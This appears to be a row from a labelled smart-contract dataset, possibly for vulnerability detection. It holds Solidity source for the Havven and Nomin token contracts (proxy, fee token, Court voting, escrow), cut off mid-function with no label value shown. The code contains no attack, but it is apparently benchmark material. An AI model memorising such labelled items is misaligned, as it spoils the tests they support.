source_codes
stringlengths 72
160k
| labels
int64 0
1
| __index_level_0__
int64 0
4.4k
|
|---|---|---|
pragma solidity 0.4.24;
contract SafeDecimalMath {
uint8 public constant decimals = 18;
uint public constant UNIT = 10 ** uint(decimals);
function addIsSafe(uint x, uint y)
pure
internal
returns (bool)
{
return x + y >= y;
}
function safeAdd(uint x, uint y)
pure
internal
returns (uint)
{
require(x + y >= y);
return x + y;
}
function subIsSafe(uint x, uint y)
pure
internal
returns (bool)
{
return y <= x;
}
function safeSub(uint x, uint y)
pure
internal
returns (uint)
{
require(y <= x);
return x - y;
}
function mulIsSafe(uint x, uint y)
pure
internal
returns (bool)
{
if (x == 0) {
return true;
}
return (x * y) / x == y;
}
function safeMul(uint x, uint y)
pure
internal
returns (uint)
{
if (x == 0) {
return 0;
}
uint p = x * y;
require(p / x == y);
return p;
}
function safeMul_dec(uint x, uint y)
pure
internal
returns (uint)
{
return safeMul(x, y) / UNIT;
}
function divIsSafe(uint x, uint y)
pure
internal
returns (bool)
{
return y != 0;
}
function safeDiv(uint x, uint y)
pure
internal
returns (uint)
{
require(y != 0);
return x / y;
}
function safeDiv_dec(uint x, uint y)
pure
internal
returns (uint)
{
return safeDiv(safeMul(x, UNIT), y);
}
function intToDec(uint i)
pure
internal
returns (uint)
{
return safeMul(i, UNIT);
}
}
contract Owned {
address public owner;
address public nominatedOwner;
constructor(address _owner)
public
{
require(_owner != address(0));
owner = _owner;
emit OwnerChanged(address(0), _owner);
}
function nominateNewOwner(address _owner)
external
onlyOwner
{
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
function acceptOwnership()
external
{
require(msg.sender == nominatedOwner);
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
modifier onlyOwner
{
require(msg.sender == owner);
_;
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
}
contract SelfDestructible is Owned {
uint public initiationTime;
bool public selfDestructInitiated;
address public selfDestructBeneficiary;
uint public constant SELFDESTRUCT_DELAY = 4 weeks;
constructor(address _owner)
Owned(_owner)
public
{
require(_owner != address(0));
selfDestructBeneficiary = _owner;
emit SelfDestructBeneficiaryUpdated(_owner);
}
function setSelfDestructBeneficiary(address _beneficiary)
external
onlyOwner
{
require(_beneficiary != address(0));
selfDestructBeneficiary = _beneficiary;
emit SelfDestructBeneficiaryUpdated(_beneficiary);
}
function initiateSelfDestruct()
external
onlyOwner
{
initiationTime = now;
selfDestructInitiated = true;
emit SelfDestructInitiated(SELFDESTRUCT_DELAY);
}
function terminateSelfDestruct()
external
onlyOwner
{
initiationTime = 0;
selfDestructInitiated = false;
emit SelfDestructTerminated();
}
function selfDestruct()
external
onlyOwner
{
require(selfDestructInitiated && initiationTime + SELFDESTRUCT_DELAY < now);
address beneficiary = selfDestructBeneficiary;
emit SelfDestructed(beneficiary);
selfdestruct(beneficiary);
}
event SelfDestructTerminated();
event SelfDestructed(address beneficiary);
event SelfDestructInitiated(uint selfDestructDelay);
event SelfDestructBeneficiaryUpdated(address newBeneficiary);
}
contract State is Owned {
address public associatedContract;
constructor(address _owner, address _associatedContract)
Owned(_owner)
public
{
associatedContract = _associatedContract;
emit AssociatedContractUpdated(_associatedContract);
}
function setAssociatedContract(address _associatedContract)
external
onlyOwner
{
associatedContract = _associatedContract;
emit AssociatedContractUpdated(_associatedContract);
}
modifier onlyAssociatedContract
{
require(msg.sender == associatedContract);
_;
}
event AssociatedContractUpdated(address associatedContract);
}
contract TokenState is State {
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
constructor(address _owner, address _associatedContract)
State(_owner, _associatedContract)
public
{}
function setAllowance(address tokenOwner, address spender, uint value)
external
onlyAssociatedContract
{
allowance[tokenOwner][spender] = value;
}
function setBalanceOf(address account, uint value)
external
onlyAssociatedContract
{
balanceOf[account] = value;
}
}
contract Proxy is Owned {
Proxyable public target;
bool public useDELEGATECALL;
constructor(address _owner)
Owned(_owner)
public
{}
function setTarget(Proxyable _target)
external
onlyOwner
{
target = _target;
emit TargetUpdated(_target);
}
function setUseDELEGATECALL(bool value)
external
onlyOwner
{
useDELEGATECALL = value;
}
function _emit(bytes callData, uint numTopics,
bytes32 topic1, bytes32 topic2,
bytes32 topic3, bytes32 topic4)
external
onlyTarget
{
uint size = callData.length;
bytes memory _callData = callData;
assembly {
switch numTopics
case 0 {
log0(add(_callData, 32), size)
}
case 1 {
log1(add(_callData, 32), size, topic1)
}
case 2 {
log2(add(_callData, 32), size, topic1, topic2)
}
case 3 {
log3(add(_callData, 32), size, topic1, topic2, topic3)
}
case 4 {
log4(add(_callData, 32), size, topic1, topic2, topic3, topic4)
}
}
}
function()
external
payable
{
if (useDELEGATECALL) {
assembly {
let free_ptr := mload(0x40)
calldatacopy(free_ptr, 0, calldatasize)
let result := delegatecall(gas, sload(target_slot), free_ptr, calldatasize, 0, 0)
returndatacopy(free_ptr, 0, returndatasize)
if iszero(result) { revert(free_ptr, returndatasize) }
return(free_ptr, returndatasize)
}
} else {
target.setMessageSender(msg.sender);
assembly {
let free_ptr := mload(0x40)
calldatacopy(free_ptr, 0, calldatasize)
let result := call(gas, sload(target_slot), callvalue, free_ptr, calldatasize, 0, 0)
returndatacopy(free_ptr, 0, returndatasize)
if iszero(result) { revert(free_ptr, returndatasize) }
return(free_ptr, returndatasize)
}
}
}
modifier onlyTarget {
require(Proxyable(msg.sender) == target);
_;
}
event TargetUpdated(Proxyable newTarget);
}
contract Proxyable is Owned {
Proxy public proxy;
address messageSender;
constructor(address _proxy, address _owner)
Owned(_owner)
public
{
proxy = Proxy(_proxy);
emit ProxyUpdated(_proxy);
}
function setProxy(address _proxy)
external
onlyOwner
{
proxy = Proxy(_proxy);
emit ProxyUpdated(_proxy);
}
function setMessageSender(address sender)
external
onlyProxy
{
messageSender = sender;
}
modifier onlyProxy {
require(Proxy(msg.sender) == proxy);
_;
}
modifier optionalProxy
{
if (Proxy(msg.sender) != proxy) {
messageSender = msg.sender;
}
_;
}
modifier optionalProxy_onlyOwner
{
if (Proxy(msg.sender) != proxy) {
messageSender = msg.sender;
}
require(messageSender == owner);
_;
}
event ProxyUpdated(address proxyAddress);
}
contract ExternStateToken is SafeDecimalMath, SelfDestructible, Proxyable {
TokenState public tokenState;
string public name;
string public symbol;
uint public totalSupply;
constructor(address _proxy, TokenState _tokenState,
string _name, string _symbol, uint _totalSupply,
address _owner)
SelfDestructible(_owner)
Proxyable(_proxy, _owner)
public
{
name = _name;
symbol = _symbol;
totalSupply = _totalSupply;
tokenState = _tokenState;
}
function allowance(address owner, address spender)
public
view
returns (uint)
{
return tokenState.allowance(owner, spender);
}
function balanceOf(address account)
public
view
returns (uint)
{
return tokenState.balanceOf(account);
}
function setTokenState(TokenState _tokenState)
external
optionalProxy_onlyOwner
{
tokenState = _tokenState;
emitTokenStateUpdated(_tokenState);
}
function _internalTransfer(address from, address to, uint value)
internal
returns (bool)
{
require(to != address(0));
require(to != address(this));
require(to != address(proxy));
tokenState.setBalanceOf(from, safeSub(tokenState.balanceOf(from), value));
tokenState.setBalanceOf(to, safeAdd(tokenState.balanceOf(to), value));
emitTransfer(from, to, value);
return true;
}
function _transfer_byProxy(address from, address to, uint value)
internal
returns (bool)
{
return _internalTransfer(from, to, value);
}
function _transferFrom_byProxy(address sender, address from, address to, uint value)
internal
returns (bool)
{
tokenState.setAllowance(from, sender, safeSub(tokenState.allowance(from, sender), value));
return _internalTransfer(from, to, value);
}
function approve(address spender, uint value)
public
optionalProxy
returns (bool)
{
address sender = messageSender;
tokenState.setAllowance(sender, spender, value);
emitApproval(sender, spender, value);
return true;
}
event Transfer(address indexed from, address indexed to, uint value);
bytes32 constant TRANSFER_SIG = keccak256("Transfer(address,address,uint256)");
function emitTransfer(address from, address to, uint value) internal {
proxy._emit(abi.encode(value), 3, TRANSFER_SIG, bytes32(from), bytes32(to), 0);
}
event Approval(address indexed owner, address indexed spender, uint value);
bytes32 constant APPROVAL_SIG = keccak256("Approval(address,address,uint256)");
function emitApproval(address owner, address spender, uint value) internal {
proxy._emit(abi.encode(value), 3, APPROVAL_SIG, bytes32(owner), bytes32(spender), 0);
}
event TokenStateUpdated(address newTokenState);
bytes32 constant TOKENSTATEUPDATED_SIG = keccak256("TokenStateUpdated(address)");
function emitTokenStateUpdated(address newTokenState) internal {
proxy._emit(abi.encode(newTokenState), 1, TOKENSTATEUPDATED_SIG, 0, 0, 0);
}
}
contract FeeToken is ExternStateToken {
uint public transferFeeRate;
uint constant MAX_TRANSFER_FEE_RATE = UNIT / 10;
address public feeAuthority;
address public constant FEE_ADDRESS = 0xfeefeefeefeefeefeefeefeefeefeefeefeefeef;
constructor(address _proxy, TokenState _tokenState, string _name, string _symbol, uint _totalSupply,
uint _transferFeeRate, address _feeAuthority, address _owner)
ExternStateToken(_proxy, _tokenState,
_name, _symbol, _totalSupply,
_owner)
public
{
feeAuthority = _feeAuthority;
require(_transferFeeRate <= MAX_TRANSFER_FEE_RATE);
transferFeeRate = _transferFeeRate;
}
function setTransferFeeRate(uint _transferFeeRate)
external
optionalProxy_onlyOwner
{
require(_transferFeeRate <= MAX_TRANSFER_FEE_RATE);
transferFeeRate = _transferFeeRate;
emitTransferFeeRateUpdated(_transferFeeRate);
}
function setFeeAuthority(address _feeAuthority)
public
optionalProxy_onlyOwner
{
feeAuthority = _feeAuthority;
emitFeeAuthorityUpdated(_feeAuthority);
}
function transferFeeIncurred(uint value)
public
view
returns (uint)
{
return safeMul_dec(value, transferFeeRate);
}
function transferPlusFee(uint value)
external
view
returns (uint)
{
return safeAdd(value, transferFeeIncurred(value));
}
function amountReceived(uint value)
public
view
returns (uint)
{
return safeDiv_dec(value, safeAdd(UNIT, transferFeeRate));
}
function feePool()
external
view
returns (uint)
{
return tokenState.balanceOf(FEE_ADDRESS);
}
function _internalTransfer(address from, address to, uint amount, uint fee)
internal
returns (bool)
{
require(to != address(0));
require(to != address(this));
require(to != address(proxy));
tokenState.setBalanceOf(from, safeSub(tokenState.balanceOf(from), safeAdd(amount, fee)));
tokenState.setBalanceOf(to, safeAdd(tokenState.balanceOf(to), amount));
tokenState.setBalanceOf(FEE_ADDRESS, safeAdd(tokenState.balanceOf(FEE_ADDRESS), fee));
emitTransfer(from, to, amount);
emitTransfer(from, FEE_ADDRESS, fee);
return true;
}
function _transfer_byProxy(address sender, address to, uint value)
internal
returns (bool)
{
uint received = amountReceived(value);
uint fee = safeSub(value, received);
return _internalTransfer(sender, to, received, fee);
}
function _transferFrom_byProxy(address sender, address from, address to, uint value)
internal
returns (bool)
{
uint received = amountReceived(value);
uint fee = safeSub(value, received);
tokenState.setAllowance(from, sender, safeSub(tokenState.allowance(from, sender), value));
return _internalTransfer(from, to, received, fee);
}
function _transferSenderPaysFee_byProxy(address sender, address to, uint value)
internal
returns (bool)
{
uint fee = transferFeeIncurred(value);
return _internalTransfer(sender, to, value, fee);
}
function _transferFromSenderPaysFee_byProxy(address sender, address from, address to, uint value)
internal
returns (bool)
{
uint fee = transferFeeIncurred(value);
uint total = safeAdd(value, fee);
tokenState.setAllowance(from, sender, safeSub(tokenState.allowance(from, sender), total));
return _internalTransfer(from, to, value, fee);
}
function withdrawFees(address account, uint value)
external
onlyFeeAuthority
returns (bool)
{
require(account != address(0));
if (value == 0) {
return false;
}
tokenState.setBalanceOf(FEE_ADDRESS, safeSub(tokenState.balanceOf(FEE_ADDRESS), value));
tokenState.setBalanceOf(account, safeAdd(tokenState.balanceOf(account), value));
emitFeesWithdrawn(account, value);
emitTransfer(FEE_ADDRESS, account, value);
return true;
}
function donateToFeePool(uint n)
external
optionalProxy
returns (bool)
{
address sender = messageSender;
uint balance = tokenState.balanceOf(sender);
require(balance != 0);
tokenState.setBalanceOf(sender, safeSub(balance, n));
tokenState.setBalanceOf(FEE_ADDRESS, safeAdd(tokenState.balanceOf(FEE_ADDRESS), n));
emitFeesDonated(sender, n);
emitTransfer(sender, FEE_ADDRESS, n);
return true;
}
modifier onlyFeeAuthority
{
require(msg.sender == feeAuthority);
_;
}
event TransferFeeRateUpdated(uint newFeeRate);
bytes32 constant TRANSFERFEERATEUPDATED_SIG = keccak256("TransferFeeRateUpdated(uint256)");
function emitTransferFeeRateUpdated(uint newFeeRate) internal {
proxy._emit(abi.encode(newFeeRate), 1, TRANSFERFEERATEUPDATED_SIG, 0, 0, 0);
}
event FeeAuthorityUpdated(address newFeeAuthority);
bytes32 constant FEEAUTHORITYUPDATED_SIG = keccak256("FeeAuthorityUpdated(address)");
function emitFeeAuthorityUpdated(address newFeeAuthority) internal {
proxy._emit(abi.encode(newFeeAuthority), 1, FEEAUTHORITYUPDATED_SIG, 0, 0, 0);
}
event FeesWithdrawn(address indexed account, uint value);
bytes32 constant FEESWITHDRAWN_SIG = keccak256("FeesWithdrawn(address,uint256)");
function emitFeesWithdrawn(address account, uint value) internal {
proxy._emit(abi.encode(value), 2, FEESWITHDRAWN_SIG, bytes32(account), 0, 0);
}
event FeesDonated(address indexed donor, uint value);
bytes32 constant FEESDONATED_SIG = keccak256("FeesDonated(address,uint256)");
function emitFeesDonated(address donor, uint value) internal {
proxy._emit(abi.encode(value), 2, FEESDONATED_SIG, bytes32(donor), 0, 0);
}
}
contract Court is SafeDecimalMath, Owned {
Havven public havven;
Nomin public nomin;
uint public minStandingBalance = 100 * UNIT;
uint public votingPeriod = 1 weeks;
uint constant MIN_VOTING_PERIOD = 3 days;
uint constant MAX_VOTING_PERIOD = 4 weeks;
uint public confirmationPeriod = 1 weeks;
uint constant MIN_CONFIRMATION_PERIOD = 1 days;
uint constant MAX_CONFIRMATION_PERIOD = 2 weeks;
uint public requiredParticipation = 3 * UNIT / 10;
uint constant MIN_REQUIRED_PARTICIPATION = UNIT / 10;
uint public requiredMajority = (2 * UNIT) / 3;
uint constant MIN_REQUIRED_MAJORITY = UNIT / 2;
uint nextMotionID = 1;
mapping(uint => address) public motionTarget;
mapping(address => uint) public targetMotionID;
mapping(uint => uint) public motionStartTime;
mapping(uint => uint) public votesFor;
mapping(uint => uint) public votesAgainst;
mapping(address => mapping(uint => uint)) voteWeight;
enum Vote {Abstention, Yea, Nay}
mapping(address => mapping(uint => Vote)) public vote;
constructor(Havven _havven, Nomin _nomin, address _owner)
Owned(_owner)
public
{
havven = _havven;
nomin = _nomin;
}
function setMinStandingBalance(uint balance)
external
onlyOwner
{
minStandingBalance = balance;
}
function setVotingPeriod(uint duration)
external
onlyOwner
{
require(MIN_VOTING_PERIOD <= duration &&
duration <= MAX_VOTING_PERIOD);
require(duration <= havven.feePeriodDuration());
votingPeriod = duration;
}
function setConfirmationPeriod(uint duration)
external
onlyOwner
{
require(MIN_CONFIRMATION_PERIOD <= duration &&
duration <= MAX_CONFIRMATION_PERIOD);
confirmationPeriod = duration;
}
function setRequiredParticipation(uint fraction)
external
onlyOwner
{
require(MIN_REQUIRED_PARTICIPATION <= fraction);
requiredParticipation = fraction;
}
function setRequiredMajority(uint fraction)
external
onlyOwner
{
require(MIN_REQUIRED_MAJORITY <= fraction);
requiredMajority = fraction;
}
function motionVoting(uint motionID)
public
view
returns (bool)
{
return motionStartTime[motionID] < now && now < motionStartTime[motionID] + votingPeriod;
}
function motionConfirming(uint motionID)
public
view
returns (bool)
{
uint startTime = motionStartTime[motionID];
return startTime + votingPeriod <= now &&
now < startTime + votingPeriod + confirmationPeriod;
}
function motionWaiting(uint motionID)
public
view
returns (bool)
{
return motionStartTime[motionID] + votingPeriod + confirmationPeriod <= now;
}
function motionPasses(uint motionID)
public
view
returns (bool)
{
uint yeas = votesFor[motionID];
uint nays = votesAgainst[motionID];
uint totalVotes = safeAdd(yeas, nays);
if (totalVotes == 0) {
return false;
}
uint participation = safeDiv_dec(totalVotes, havven.totalIssuanceLastAverageBalance());
uint fractionInFavour = safeDiv_dec(yeas, totalVotes);
return participation > requiredParticipation &&
fractionInFavour > requiredMajority;
}
function hasVoted(address account, uint motionID)
public
view
returns (bool)
{
return vote[account][motionID] != Vote.Abstention;
}
function beginMotion(address target)
external
returns (uint)
{
require((havven.issuanceLastAverageBalance(msg.sender) >= minStandingBalance) ||
msg.sender == owner);
require(votingPeriod <= havven.feePeriodDuration());
require(targetMotionID[target] == 0);
require(!nomin.frozen(target));
havven.rolloverFeePeriodIfElapsed();
uint motionID = nextMotionID++;
motionTarget[motionID] = target;
targetMotionID[target] = motionID;
uint startTime = havven.feePeriodStartTime() + havven.feePeriodDuration();
motionStartTime[motionID] = startTime;
emit MotionBegun(msg.sender, target, motionID, startTime);
return motionID;
}
function setupVote(uint motionID)
internal
returns (uint)
{
require(motionVoting(motionID));
require(!hasVoted(msg.sender, motionID));
require(msg.sender != motionTarget[motionID]);
uint weight = havven.recomputeLastAverageBalance(msg.sender);
require(weight > 0);
voteWeight[msg.sender][motionID] = weight;
return weight;
}
function voteFor(uint motionID)
external
{
uint weight = setupVote(motionID);
vote[msg.sender][motionID] = Vote.Yea;
votesFor[motionID] = safeAdd(votesFor[motionID], weight);
emit VotedFor(msg.sender, motionID, weight);
}
function voteAgainst(uint motionID)
external
{
uint weight = setupVote(motionID);
vote[msg.sender][motionID] = Vote.Nay;
votesAgainst[motionID] = safeAdd(votesAgainst[motionID], weight);
emit VotedAgainst(msg.sender, motionID, weight);
}
function cancelVote(uint motionID)
external
{
require(!motionConfirming(motionID));
Vote senderVote = vote[msg.sender][motionID];
require(senderVote != Vote.Abstention);
if (motionVoting(motionID)) {
if (senderVote == Vote.Yea) {
votesFor[motionID] = safeSub(votesFor[motionID], voteWeight[msg.sender][motionID]);
} else {
votesAgainst[motionID] = safeSub(votesAgainst[motionID], voteWeight[msg.sender][motionID]);
}
emit VoteCancelled(msg.sender, motionID);
}
delete voteWeight[msg.sender][motionID];
delete vote[msg.sender][motionID];
}
function _closeMotion(uint motionID)
internal
{
delete targetMotionID[motionTarget[motionID]];
delete motionTarget[motionID];
delete motionStartTime[motionID];
delete votesFor[motionID];
delete votesAgainst[motionID];
emit MotionClosed(motionID);
}
function closeMotion(uint motionID)
external
{
require((motionConfirming(motionID) && !motionPasses(motionID)) || motionWaiting(motionID));
_closeMotion(motionID);
}
function approveMotion(uint motionID)
external
onlyOwner
{
require(motionConfirming(motionID) && motionPasses(motionID));
address target = motionTarget[motionID];
nomin.freezeAndConfiscate(target);
_closeMotion(motionID);
emit MotionApproved(motionID);
}
function vetoMotion(uint motionID)
external
onlyOwner
{
require(!motionWaiting(motionID));
_closeMotion(motionID);
emit MotionVetoed(motionID);
}
event MotionBegun(address indexed initiator, address indexed target, uint indexed motionID, uint startTime);
event VotedFor(address indexed voter, uint indexed motionID, uint weight);
event VotedAgainst(address indexed voter, uint indexed motionID, uint weight);
event VoteCancelled(address indexed voter, uint indexed motionID);
event MotionClosed(uint indexed motionID);
event MotionVetoed(uint indexed motionID);
event MotionApproved(uint indexed motionID);
}
contract Nomin is FeeToken {
Court public court;
Havven public havven;
mapping(address => bool) public frozen;
uint constant TRANSFER_FEE_RATE = 15 * UNIT / 10000;
string constant TOKEN_NAME = "Nomin USD";
string constant TOKEN_SYMBOL = "nUSD";
constructor(address _proxy, TokenState _tokenState, Havven _havven,
uint _totalSupply,
address _owner)
FeeToken(_proxy, _tokenState,
TOKEN_NAME, TOKEN_SYMBOL, _totalSupply,
TRANSFER_FEE_RATE,
_havven,
_owner)
public
{
require(_proxy != 0 && address(_havven) != 0 && _owner != 0);
frozen[FEE_ADDRESS] = true;
havven = _havven;
}
function setCourt(Court _court)
external
optionalProxy_onlyOwner
{
court = _court;
emitCourtUpdated(_court);
}
function setHavven(Havven _havven)
external
optionalProxy_onlyOwner
{
havven = _havven;
setFeeAuthority(_havven);
emitHavvenUpdated(_havven);
}
function transfer(address to, uint value)
public
optionalProxy
returns (bool)
{
require(!frozen[to]);
return _transfer_byProxy(messageSender, to, value);
}
function transferFrom(address from, address to, uint value)
public
optionalProxy
returns (bool)
{
require(!frozen[to]);
return _transferFrom_byProxy(messageSender, from, to, value);
}
function transferSenderPaysFee(address to, uint value)
public
optionalProxy
returns (bool)
{
require(!frozen[to]);
return _transferSenderPaysFee_byProxy(messageSender, to, value);
}
function transferFromSenderPaysFee(address from, address to, uint value)
public
optionalProxy
returns (bool)
{
require(!frozen[to]);
return _transferFromSenderPaysFee_byProxy(messageSender, from, to, value);
}
function freezeAndConfiscate(address target)
external
onlyCourt
{
uint motionID = court.targetMotionID(target);
require(motionID != 0);
require(court.motionConfirming(motionID));
require(court.motionPasses(motionID));
require(!frozen[target]);
uint balance = tokenState.balanceOf(target);
tokenState.setBalanceOf(FEE_ADDRESS, safeAdd(tokenState.balanceOf(FEE_ADDRESS), balance));
tokenState.setBalanceOf(target, 0);
frozen[target] = true;
emitAccountFrozen(target, balance);
emitTransfer(target, FEE_ADDRESS, balance);
}
function unfreezeAccount(address target)
external
optionalProxy_onlyOwner
{
require(frozen[target] && target != FEE_ADDRESS);
frozen[target] = false;
emitAccountUnfrozen(target);
}
function issue(address account, uint amount)
external
onlyHavven
{
tokenState.setBalanceOf(account, safeAdd(tokenState.balanceOf(account), amount));
totalSupply = safeAdd(totalSupply, amount);
emitTransfer(address(0), account, amount);
emitIssued(account, amount);
}
function burn(address account, uint amount)
external
onlyHavven
{
tokenState.setBalanceOf(account, safeSub(tokenState.balanceOf(account), amount));
totalSupply = safeSub(totalSupply, amount);
emitTransfer(account, address(0), amount);
emitBurned(account, amount);
}
modifier onlyHavven() {
require(Havven(msg.sender) == havven);
_;
}
modifier onlyCourt() {
require(Court(msg.sender) == court);
_;
}
event CourtUpdated(address newCourt);
bytes32 constant COURTUPDATED_SIG = keccak256("CourtUpdated(address)");
function emitCourtUpdated(address newCourt) internal {
proxy._emit(abi.encode(newCourt), 1, COURTUPDATED_SIG, 0, 0, 0);
}
event HavvenUpdated(address newHavven);
bytes32 constant HAVVENUPDATED_SIG = keccak256("HavvenUpdated(address)");
function emitHavvenUpdated(address newHavven) internal {
proxy._emit(abi.encode(newHavven), 1, HAVVENUPDATED_SIG, 0, 0, 0);
}
event AccountFrozen(address indexed target, uint balance);
bytes32 constant ACCOUNTFROZEN_SIG = keccak256("AccountFrozen(address,uint256)");
function emitAccountFrozen(address target, uint balance) internal {
proxy._emit(abi.encode(balance), 2, ACCOUNTFROZEN_SIG, bytes32(target), 0, 0);
}
event AccountUnfrozen(address indexed target);
bytes32 constant ACCOUNTUNFROZEN_SIG = keccak256("AccountUnfrozen(address)");
function emitAccountUnfrozen(address target) internal {
proxy._emit(abi.encode(), 2, ACCOUNTUNFROZEN_SIG, bytes32(target), 0, 0);
}
event Issued(address indexed account, uint amount);
bytes32 constant ISSUED_SIG = keccak256("Issued(address,uint256)");
function emitIssued(address account, uint amount) internal {
proxy._emit(abi.encode(amount), 2, ISSUED_SIG, bytes32(account), 0, 0);
}
event Burned(address indexed account, uint amount);
bytes32 constant BURNED_SIG = keccak256("Burned(address,uint256)");
function emitBurned(address account, uint amount) internal {
proxy._emit(abi.encode(amount), 2, BURNED_SIG, bytes32(account), 0, 0);
}
}
contract LimitedSetup {
uint setupExpiryTime;
constructor(uint setupDuration)
public
{
setupExpiryTime = now + setupDuration;
}
modifier onlyDuringSetup
{
require(now < setupExpiryTime);
_;
}
}
contract HavvenEscrow is SafeDecimalMath, Owned, LimitedSetup(8 weeks) {
Havven public havven;
mapping(address => uint[2][]) public vestingSchedules;
mapping(address => uint) public totalVestedAccountBalance;
uint public totalVestedBalance;
uint constant TIME_INDEX = 0;
uint constant QUANTITY_INDEX = 1;
uint constant MAX_VESTING_ENTRIES = 20;
constructor(address _owner, Havven _havven)
Owned(_owner)
public
{
havven = _havven;
}
function setHavven(Havven _havven)
external
onlyOwner
{
havven = _havven;
emit HavvenUpdated(_havven);
}
function balanceOf(address account)
public
view
returns (uint)
{
return totalVestedAccountBalance[account];
}
function numVestingEntries(address account)
public
view
returns (uint)
{
return vestingSchedules[account].length;
}
function getVestingScheduleEntry(address account, uint index)
public
view
returns (uint[2])
{
return vestingSchedules[account][index];
}
function getVestingTime(address account, uint index)
public
view
returns (uint)
{
return getVestingScheduleEntry(account,index)[TIME_INDEX];
}
function getVestingQuantity(address account, uint index)
public
view
returns (uint)
{
return getVestingScheduleEntry(account,index)[QUANTITY_INDEX];
}
function getNextVestingIndex(address account)
public
view
returns (uint)
{
uint len = numVestingEntries(account);
for (uint i = 0; i < len; i++) {
if (getVestingTime(account, i) != 0) {
return i;
}
}
return len;
}
function getNextVestingEntry(address account)
public
view
returns (uint[2])
{
uint index = getNextVestingIndex(account);
if (index == numVestingEntries(account)) {
return [uint(0), 0];
}
return getVestingScheduleEntry(account, index);
}
function getNextVestingTime(address account)
external
view
returns (uint)
{
return getNextVestingEntry(account)[TIME_INDEX];
}
function getNextVestingQuantity(address account)
external
view
returns (uint)
{
return getNextVestingEntry(account)[QUANTITY_INDEX];
}
function withdrawHavvens(uint quantity)
external
onlyOwner
onlyDuringSetup
{
havven.transfer(havven, quantity);
}
function purgeAccount(address account)
external
onlyOwner
onlyDuringSetup
{
delete vestingSchedules[account];
totalVestedBalance = safeSub(totalVestedBalance, totalVestedAccountBalance[account]);
delete totalVestedAccountBalance[account];
}
function appendVestingEntry(address account, uint time, uint quantity)
public
onlyOwner
onlyDuringSetup
{
require(now < time);
require(quantity != 0);
totalVestedBalance = safeAdd(totalVestedBalance, quantity);
require(totalVestedBalance <= havven.balanceOf(this));
uint scheduleLength = vestingSchedules[account].length;
require(scheduleLength <= MAX_VESTING_ENTRIES);
if (scheduleLength == 0) {
totalVestedAccountBalance[account] = quantity;
} else {
require(getVestingTime(account, numVestingEntries(account) - 1) < time);
totalVestedAccountBalance[account] = safeAdd(totalVestedAccountBalance[account], quantity);
}
vestingSchedules[account].push([time, quantity]);
}
function addVestingSchedule(address account, uint[] times, uint[] quantities)
external
onlyOwner
onlyDuringSetup
{
for (uint i = 0; i < times.length; i++) {
appendVestingEntry(account, times[i], quantities[i]);
}
}
function vest()
external
{
uint numEntries = numVestingEntries(msg.sender);
uint total;
for (uint i = 0; i < numEntries; i++) {
uint time = getVestingTime(msg.sender, i);
if (time > now) {
break;
}
uint qty = getVestingQuantity(msg.sender, i);
if (qty == 0) {
continue;
}
vestingSchedules[msg.sender][i] = [0, 0];
total = safeAdd(total, qty);
}
if (total != 0) {
totalVestedBalance = safeSub(totalVestedBalance, total);
totalVestedAccountBalance[msg.sender] = safeSub(totalVestedAccountBalance[msg.sender], total);
havven.transfer(msg.sender, total);
emit Vested(msg.sender, now, total);
}
}
event HavvenUpdated(address newHavven);
event Vested(address indexed beneficiary, uint time, uint value);
}
contract Havven is ExternStateToken {
struct IssuanceData {
uint currentBalanceSum;
uint lastAverageBalance;
uint lastModified;
}
mapping(address => IssuanceData) public issuanceData;
IssuanceData public totalIssuanceData;
uint public feePeriodStartTime;
uint public lastFeePeriodStartTime;
uint public feePeriodDuration = 4 weeks;
uint constant MIN_FEE_PERIOD_DURATION = 1 days;
uint constant MAX_FEE_PERIOD_DURATION = 26 weeks;
uint public lastFeesCollected;
mapping(address => bool) public hasWithdrawnFees;
Nomin public nomin;
HavvenEscrow public escrow;
address public oracle;
uint public price;
uint public lastPriceUpdateTime;
uint public priceStalePeriod = 3 hours;
uint public issuanceRatio = UNIT / 5;
uint constant MAX_ISSUANCE_RATIO = UNIT;
mapping(address => bool) public isIssuer;
mapping(address => uint) public nominsIssued;
uint constant HAVVEN_SUPPLY = 1e8 * UNIT;
uint constant ORACLE_FUTURE_LIMIT = 10 minutes;
string constant TOKEN_NAME = "Havven";
string constant TOKEN_SYMBOL = "HAV";
constructor(address _proxy, TokenState _tokenState, address _owner, address _oracle,
uint _price, address[] _issuers, Havven _oldHavven)
ExternStateToken(_proxy, _tokenState, TOKEN_NAME, TOKEN_SYMBOL, HAVVEN_SUPPLY, _owner)
public
{
oracle = _oracle;
price = _price;
lastPriceUpdateTime = now;
uint i;
if (_oldHavven == address(0)) {
feePeriodStartTime = now;
lastFeePeriodStartTime = now - feePeriodDuration;
for (i = 0; i < _issuers.length; i++) {
isIssuer[_issuers[i]] = true;
}
} else {
feePeriodStartTime = _oldHavven.feePeriodStartTime();
lastFeePeriodStartTime = _oldHavven.lastFeePeriodStartTime();
uint cbs;
uint lab;
uint lm;
(cbs, lab, lm) = _oldHavven.totalIssuanceData();
totalIssuanceData.currentBalanceSum = cbs;
totalIssuanceData.lastAverageBalance = lab;
totalIssuanceData.lastModified = lm;
for (i = 0; i < _issuers.length; i++) {
address issuer = _issuers[i];
isIssuer[issuer] = true;
uint nomins = _oldHavven.nominsIssued(issuer);
if (nomins == 0) {
continue;
}
(cbs, lab, lm) = _oldHavven.issuanceData(issuer);
nominsIssued[issuer] = nomins;
issuanceData[issuer].currentBalanceSum = cbs;
issuanceData[issuer].lastAverageBalance = lab;
issuanceData[issuer].lastModified = lm;
}
}
}
function setNomin(Nomin _nomin)
external
optionalProxy_onlyOwner
{
nomin = _nomin;
emitNominUpdated(_nomin);
}
function setEscrow(HavvenEscrow _escrow)
external
optionalProxy_onlyOwner
{
escrow = _escrow;
emitEscrowUpdated(_escrow);
}
function setFeePeriodDuration(uint duration)
external
optionalProxy_onlyOwner
{
require(MIN_FEE_PERIOD_DURATION <= duration &&
duration <= MAX_FEE_PERIOD_DURATION);
feePeriodDuration = duration;
emitFeePeriodDurationUpdated(duration);
rolloverFeePeriodIfElapsed();
}
function setOracle(address _oracle)
external
optionalProxy_onlyOwner
{
oracle = _oracle;
emitOracleUpdated(_oracle);
}
function setPriceStalePeriod(uint time)
external
optionalProxy_onlyOwner
{
priceStalePeriod = time;
}
function setIssuanceRatio(uint _issuanceRatio)
external
optionalProxy_onlyOwner
{
